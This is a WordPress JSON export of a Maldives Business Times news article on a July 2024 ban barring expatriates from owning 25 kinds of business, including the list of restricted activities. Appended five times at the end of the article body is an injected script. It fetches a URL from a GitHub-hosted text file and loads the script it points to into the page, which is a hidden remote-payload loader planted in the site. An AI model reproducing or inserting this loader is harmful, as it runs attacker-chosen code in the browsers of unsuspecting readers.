{"id":9852,"date":"2024-07-06T14:53:47","date_gmt":"2024-07-06T09:53:47","guid":{"rendered":"https:\/\/mbt.mv\/?p=9852"},"modified":"2024-07-06T14:53:47","modified_gmt":"2024-07-06T09:53:47","slug":"maldives-govt-bans-25-business-areas-for-expats-to-own","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=9852","title":{"rendered":"Maldives govt bans 25 business areas for expats to own"},"content":{"rendered":"<p>Ministry of Economic Development and Trade last Thursday, on July 04, announced that expatriates will be restricted fully from owning and operating 25 different business activities.<\/p>\n<p>Economic Ministry announced this decision, in line with the Maldives government&#8217;s ongoing efforts to control the growing expatriate population &#8211; especially illegal immigrants.<\/p>\n<p>The government earlier launched a nationwide crackdown &#8211; &#8216;Operationa Kurangi&#8217; &#8211; that would see all the foreign workers in the Maldives identified and put into a registry. The aim is to trace for illegal expatriate activities.<\/p>\n<p>Economic Ministry&#8217;s Thursday decision is aligned to ensure the expatriate worker population is brought under proper control. As such, the government has banned the involvement of foreigners as proprietors or owners of the following business activities;<\/p>\n<ul>\n<li>Retail Trade (inclusive of online trades\/e-commerce)<\/li>\n<li>Wholesale trade \u2013 except construction materials<\/li>\n<li>Domestic logistics<\/li>\n<li>Postal and courier services<\/li>\n<li>Operating F&amp;B outlets and eateries (such as cafes, restaurants, bakeries and similar outlets)<\/li>\n<li>Rental activities (inclusive of heavy-duty and construction machinery)<\/li>\n<li>Employment and recruitment agencies<\/li>\n<li>Travel agencies, tour operators, reservations and related businesses<\/li>\n<li>Landscaping<\/li>\n<li>Public administration and activities related to national security and defense<\/li>\n<li>General tuition class and Quran class<\/li>\n<li>General clinic<\/li>\n<li>Repair services for computers, general goods, consumer electronics and appliances<\/li>\n<li>Programming and broadcasting<\/li>\n<li>Legal practice<\/li>\n<li>Photography and videography<\/li>\n<li>Development and operation of picnic islands<\/li>\n<li>Commercial transportation involving vehicles<\/li>\n<li>Manufacturing rubber and plastic-based products<\/li>\n<li>Woodworks and carpentry (except furniture)<\/li>\n<li>Mining and coring<\/li>\n<li>Sand mining<\/li>\n<li>Forestry<\/li>\n<\/ul>\n<p>The issue of illegal businesses operated by foreigners is a prevalent issue, which has not been addressed properly before.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ministry of Economic Development and Trade last Thursday, on July 04, announced that expatriates will be restricted fully from owning and operating 25 different business activities. Economic Ministry announced this decision, in line with the Maldives government&#8217;s ongoing efforts to control the growing expatriate population &#8211; especially illegal immigrants. The government earlier launched a nationwide<\/p>\n","protected":false},"author":4,"featured_media":9853,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2423],"tags":[],"class_list":{"0":"post-9852","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-business"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Maldives govt bans 25 business areas for expats to own - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=9852\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Maldives govt bans 25 business areas for expats to own - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"Ministry of Economic Development and Trade last Thursday, on July 04, announced that expatriates will be restricted fully from owning and operating 25 different business activities. Economic Ministry announced this decision, in line with the Maldives government&#8217;s ongoing efforts to control the growing expatriate population &#8211; especially illegal immigrants. The government earlier launched a nationwide\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mbt.mv\/?p=9852\" \/>\n<meta property=\"og:site_name\" content=\"Maldives Business Times\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/mvbiztimes\" \/>\n<meta property=\"article:published_time\" content=\"2024-07-06T09:53:47+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/mbt.mv\/wp-content\/uploads\/2024\/07\/workers-1.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"750\" \/>\n\t<meta property=\"og:image:height\" content=\"484\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Mohamed Reehaan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:site\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mohamed Reehaan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mbt.mv\/?p=9852#article\",\"isPartOf\":{\"@id\":\"https:\/\/mbt.mv\/?p=9852\"},\"author\":{\"name\":\"Mohamed Reehaan\",\"@id\":\"https:\/\/mbt.mv\/#\/schema\/person\/a0eedc1134716e7c8e4da095494670c2\"},\"headline\":\"Maldives govt bans 25 business areas for expats to own\",\"datePublished\":\"2024-07-06T09:53:47+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/mbt.mv\/?p=9852\"},\"wordCount\":265,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/mbt.mv\/#organization\"},\"image\":{\"@id\":\"https:\/\/mbt.mv\/?p=9852#primaryimage\"},\"thumbnailUrl\":\"https:\/\/mbt.mv\/wp-content\/uploads\/2024\/07\/workers-1.jpg\",\"articleSection\":[\"BUSINESS\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/mbt.mv\/?p=9852#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/mbt.mv\/?p=9852\",\"url\":\"https:\/\/mbt.mv\/?p=9852\",\"name\":\"Maldives govt bans 25 business areas for expats to own - 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